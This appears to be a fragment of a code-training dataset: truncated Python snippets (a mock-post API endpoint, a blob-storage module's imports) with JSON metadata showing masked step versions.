<|reserved_special_token_0|>
def __init__(self, data_aggregation_setting=None, raw_data_setting=None,
units_setting=None, work_hours_setting... | flexible | {
"blob_id": "25d4fa44cb17048301076391d5d67ae0b0812ac7",
"index": 3988,
"step-1": "<mask token>\n\n\nclass RawDataSettingsV1(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, data_aggregation_setting=None, raw_data_setting=None,\n units_setting=None,... | [
8,
15,
17,
18,
19
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
@mock_post_router.get('/mock_posts', url_name='mock_post_list', summary=
'전체 mock post의 list를 반환한다', response={(200): None})
def retrieve_all_mock_posts(request):
return HTTPStatus.OK
<|reserved_special_token_1|>
<|re... | flexible | {
"blob_id": "dcb57ecf2c72b8ac816bb06986d80544ff97c669",
"index": 5915,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\n@mock_post_router.get('/mock_posts', url_name='mock_post_list', summary=\n '전체 mock post의 list를 반환한다', response={(200): None})\ndef retrieve_all_mock_posts(request):\n return HT... | [
0,
1,
2,
3,
4
] |
from farmfs.fs import Path, ensure_link, ensure_readonly, ensure_symlink, ensure_copy, ftype_selector, FILE, is_readonly
from func_prototypes import typed, returned
from farmfs.util import safetype, pipeline, fmap, first, compose, invert, partial, repeater
from os.path import sep
from s3lib import Connection as s3conn,... | normal | {
"blob_id": "4fb1ece28cd7c6e2ac3a479dcbf81ee09ba14223",
"index": 3096,
"step-1": "<mask token>\n\n\nclass FileBlobstore:\n <mask token>\n\n def _csum_to_name(self, csum):\n \"\"\"Return string name of link relative to root\"\"\"\n return _checksum_to_path(csum)\n <mask token>\n <mask to... | [
8,
12,
16,
20,
27
] |
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